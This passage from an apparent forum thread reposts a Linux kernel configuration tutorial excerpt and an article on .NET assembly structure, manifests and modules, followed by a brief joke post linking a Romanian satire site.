devices, they will need to install Bluetooth modules or update the whole kernel. make allnoconfig - This option creates a config file that will only add essential code to the kernel; this answers no to as many questions as possible make randconfig - This option makes random choices for the kernel make localmodconfig - This option creates a config file based on the current list of loaded modules and system configuration. make localyesconfig - This will set all module options to yes - most of the kernel will be in modules TIP: It is best to use “make menuconfig” because users can save their progress. “make config” does not offer this luxury. Because the configuration process takes a lot of time, Configuration: Most developers choose "make menuconfig" or one of the other graphical menus. After typing the desired command, the first question asks whether the kernel to be built is going to be a 64-bit kernel or not. The choices are "Y", "n", and "?". The question mark explains the question, "n" answers no to the question, and "Y" answers yes to the question. For this tutorial, I will choose yes. To do this I type "Y" (this is case-insensitive) and hit enter. NOTE: If the kernel is compiled on a 32-bit system, then the configuration tool would ask if the kernel should be 32-bit. The first question is different on other processors. The next line shows "Cross-compiler tool prefix (CROSS_COMPILE) []". If you are not cross-compiling, hit enter. If you are cross-compiling, type something like "arm-unknown-linux-gnu-" for ARM systems or "x86_64-pc-linux-gnu-" for 64-bit PC systems. There are many other possible commands for other processor types, but the list can be quite large. Once a developer knows what processor they want to support, it is easy to research the command needed for that processor. NOTE: Cross-compiling is compiling code to be used on other processors. For illustration, an Intel system that is cross-compiling code is making applications for processors other than Intel. So, this system may be compiling code for ARM or AMD processors. NOTE: Each choice will change which questions come up and when they are displayed. I will include my choices so readers can follow the configuration process on their own system. Next, users will see "Local version - append to kernel release (LOCALVERSION) []". This is where developers can give a special version number or name to their customized kernel. I will type "LinuxDotOrg". The kernel version is now “3.9.4-LinuxDotOrg”. Next, the configuration tool asks "Automatically append version information to the version string (LOCALVERSION_AUTO) [N/y/?]". If a git tree is found, the revision number will be appended. This example is not using git, so I will answer no. Other wise the git revision number will be appended to the version. Remember vmlinuz and similar files? Well, the next question asks which compression format should be used. The developer can choose one through five. The choices are 1. Gzip (KERNEL_GZIP) 2. Bzip2 (KERNEL_BZIP2) 3. LZMA (KERNEL_LZMA) 4. XZ (KERNEL_XZ) 5. LZO (KERNEL_LZO) Gzip is the default, so I will press “1” and hit enter. Each compression format has greater or less compression ratios compared to the other formats. A better compression ratio means a smaller file, but more time is needed to uncompress the file while the opposite applies to lower compression ratios. Now, this line is displayed - “Default hostname (DEFAULT_HOSTNAME) [(none)]”. The default hostname can be configured. Usually, developers leave this blank (I left it blank) so that Linux users can set up their own hostname. Next, developers can enable or disable the use of swap space. Linux uses a separate partition called “swap space” to use as virtual memory. This is equivalent to Windows' paging file. Typically, developers answer yes for the line “Support for paging of anonymous memory (swap) (SWAP) [Y/n/?]”. The next line (System V IPC (SYSVIPC) [Y/n/?]) asks if the kernel should support IPC. Inter Process Communication allows processes to communicate and sync. It is best to enable IPC, otherwise, many applications will not work. Answering yes to this question will cause the configuration tool to ask “POSIX Message Queues (POSIX_MQUEUE) [Y/n/?]”. This question will only be seen if IPC is enabled. POSIX message queues is a messaging queue (a form of interprocess communication) where each message is given a priority. The default choice is yes. Hit enter to choose the default choice (indicated by the capitalized choice). The next question (open by fhandle syscalls (FHANDLE) [Y/n/?]) is asking if programs will be permitted to use file handles instead of filenames when performing filesystem operations if needed. By default, the answer is yes. Sometimes, when a developer has made certain choices, some questions will automatically be answered. For instance, the next question (Auditing support (AUDIT) [Y/?]) is answered yes without prompting because previous choices require this feature. Auditing-support logs the accesses and modifications of all files. The next question relates to auditing (Enable system-call auditing support (AUDITSYSCALL) [Y/n/?]). If enabled, all system calls are logged. If the developer wants performance, then as much auditing features as possible should be disabled and not added to the kernel. Some developers may enable auditing for security monitoring. I will select “no” for this question. The next audit question (Make audit loginuid immutable (AUDIT_LOGINUID_IMMUTABLE) [N/y/?]) is asking if processes can change their loginuid (LOGIN User ID). If enabled, processes in userspace will not be able to change their own loginuids. For better performance, we will disable this feature. NOTE: When configuring via “make config”, the questions that are answered by the configuration tool are displayed, but the user does not have a way to change the answer. When configuring via “make menuconfig”, the user cannot change the option no matter what button is pressed. Developers should not want to change options like that anyway because a previous choice requires another question to be answered a certain way. In the next article, we can configure the IRQ subsystem and all of the following choices. Sursa: The Linux Kernel: Configuring the Kernel (Part 1) | Linux.org
  22. [h=1].NET Assembly Programming[/h]Ajay Yadav July 16, 2013 Abstract In this series, we’ll examine the core details of creating, deploying and configuring .NET assemblies and its advantage over existing COM technology. This article goes deeper in terms of understanding the role and format of .NET assembly and modules. You ‘ll explore assembly manifest and how exactly the .NET runtime resolve the location of assembly and you ‘ll also come to understand the assembly CIL code .This article will also state the distinction between single file and multi-file assemblies. Problem with COM Microsoft itself introduced the phrase “DLL Hell” to describe traditional problem with existing COM DLLs. Often old DLL’s are replaced by a new version, and will break applications because a newly installed application overwrites a DLL that has also been used by another application. In fact, such problems occur due to improperly checked versions of DLL by the installation program, while new DLL should be backward compatible with the old version to keep the continuity of existing functionality. The side-by-side DLL installation feature provided by the existing the COM technology is unavailable. Various DLL incorporated functionality features are also referenced to another couple of locations but such functionality is terminated when the old version is replaced by a new functionality version. You can install two different types of a single assembly in a side-by-side installation feature. Although, this can be applied with COM DLLs but a problem will arise in such a case. Literally, COM DLLs are not self-describing. The configuration of a COM component is stored in the registry, not in the Component DLL itself. So the configuration information is taken from the last version rather than two versions of a single DLL simultaneously. Understanding Assembly The .NET Framework overcomes the DLL Hell or Version issues with existing COM Technology by introducing assemblies. Assemblies are self-describing installation units, consisting of single or multiple files. Virtually, every file that is developed and executed under the .NET Common Language Runtime (CLR) is called, an assembly. One Assembly file contains metadata and could be an .EXE, DLL or Resource file. Now, let’s discuss some of the comprehensive benefits provided by the assembly. Assemblies can be deployed as private or shared. Private assemblies reside in the same solution directory. Shared assemblies, on the other hand, are libraries intended to be consumed by numerous applications on a single machine, because they are deployed to a central repository called GAC. The .NET assemblies are assigned a special 4-digit number to concurrently run the multiple versions of an assembly. The 4-digit special number can be specified as “<major>.<minor>.<build>.<revision>”. In assembly archives every external assembly reference must have access in order to function properly. However, assemblies are self-describing by documenting all the external references in the manifest. The comprehensive details of assemblies such as member function, variable name, base class, interface and constructors are placed in the metadata so that CLR does not need to consult the windows system registry to resolve its location. The .NET framework offers you to reuse types in a language-independent manner by not caring how a code library is packaged. Application isolation is ensured using application domains. A number of applications can run independently inside a single process with an application domain. Installation of an assembly can be as simple as copying all of its files. Unlike COM, there is no need to register them in a windows system registry. Modules Before delving into assembly types in detail, let’s discuss the modules. An assembly is typically, composed of multiple modules. A module is a DLL without assembly attributes. To get a better understanding, we are creating a c# class library project as the following: public class test { public test() { } public test(string fname, string lname) { this.FName = fname; this.LName = lname; } public string FName { get; set; } public string LName { get; set; } public override string ToString() { return FName + " " +LName; } } A module can be created by csc.exe with /module switch. The following command creates a module test.netmodule as; csc /target:module test.cs A module also has a manifest, but there isn’t an .assembly entry inside the manifest because a module doesn’t have a assembly attribute. We can view a module manifest using ildasm utility as following: The main objective behind modules is that they can be used for faster startup of assemblies, because not all types are inside a single file. The modules are loaded when needed. Secondly, if you want to create an assembly with more than one programming language then one module could be in VB.NET and another in F#.NET. Finally, these two modules could be included in a single file. Single file and Multi-file Assembly Technically speaking, an assembly can be formed from a single file and multi-file. A single file assembly contains all the necessary elements such as CIL code, header files and manifests in a single *.exe or *.dll package. A multi-file assembly, on the other hand, is a set of .NET modules that are deployed and versioned as a single unit. Formally speaking, these modules are termed as primary and secondary modules. The primary module contains an assembly-level manifest and secondary modules which having *.netmodule extension contains a module-level manifest. The major benefit of multi-file assembly is that they provide a very efficient way to download content. Assembly Structure An assembly is comprised of assembly metadata describing the complete assembly, type metadata unfolding the exported type and methods, MSIL code and resources. All these fragments can be inside of one file or spread across several files. Structurally speaking, an assembly is composed of the following elements: CIL code The CIL code is a CPU and platform-agnostic intermediate language. It can be considered the core back-bone of an assembly. Given this design, the .NET assemblies can indeed execute on a variety of devices, architectures and operating systems. At the runtime, the internal CIL is compiled using the Just0in-time (JIT) compiler, as per to platform and CPU specific instructions. Understanding the grammar of CIL code can be helpful when you are building complex application but unfortunately most .NET developers don’t need to be deeply concerned with the details of CIL code. Windows File Header The windows file header determines how the Windows family of operating systems can load and manipulate an assembly. The headers also identify the kind of application such as *.dll, console or GUI applications, to be hosted by windows. You can view the assembly header information using the dumpbin.exe utility as following: Dumpbin /headers *.dll/*.exe CLR File Header The CLR header is a block of data that all .NET assemblies must support in order to be hosted by the CLR. They are typically defined as – numerous flags that enables the runtime to understand the layout of the managed code. We can view such diverse flags using again, dumpbin.exe /clrheader flag as the following: Metadata The .NET runtime practices metadata to resolve the location of types within the binary. An assembly metadata comprehensively describes the format of the contained types, as well as the format of external type references. If you press the Ctrl +M keystroke combination, idasm.exe display the metadata for each type within the DLL file assembly as shown below: Manifest The assembly manifest documents each module within the assembly, establishes the version and acknowledges the external reference assemblies with its dependencies. The Assembly manifest is a significant part of an assembly, and can be composed in the following parts as; Identity It includes version, name, culture and public key details. Set of Permissions This portion displays the necessary permissions to run an assembly. List of Files It lists all files belonging to a single file or multiple file assemblies. External reference Assemblies The manifest also documents the external reference files that are needed to run an assembly. We can explore the assembly manifest using the ildasm.exe utility as following; Now, open the CSharpTest.dll manifest by double –clicking the MANIFEST icon. The first code block specifies all external assemblies such as mscorlib.dll required by the current assembly to function correctly. Here, each .assembly external block is qualified by the .publickeytoken and .ver directive as following: Typically, these setting can be configured manually which resides in the solution AssemblyInfo.cs file as: using System.Reflection;using System.Runtime.CompilerServices; using System.Runtime.InteropServices; [assembly: AssemblyTitle("CsharpTest")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("CsharpTest")] [assembly: AssemblyCopyright("Copyright © 2013")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("2fcf6717-f595-4216-bb93-f6590e37b3e5")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] Resources Finally, a .NET assembly may contain a number of embedded resources, such as picture files, application icons, sound file and culture information (satellite assemblies in order to build international software). Summary This article drilled down into the details of how the CLR resolves the location of external reference assemblies. We began by exploring the disadvantage of existing COM technology, and examined the content within an assembly such as CIL code, header, metadata, manifest and resources. We have also come to understand the distinction between the single file and multi-file assembly. This article also focuses the benefits of modules and assembly in depth. Later, we will also explore the more advance topics related to assembly. Sursa: .NET Assembly Programming
  23. Puneti mana pe carte sau: Timesnewroman.ro - Cotidian independent de umor voluntar - ?Au început admiterile: 6 pe un loc la McDonalds, 13 pe un loc la Dristor Kebab
×
×
  • Create New...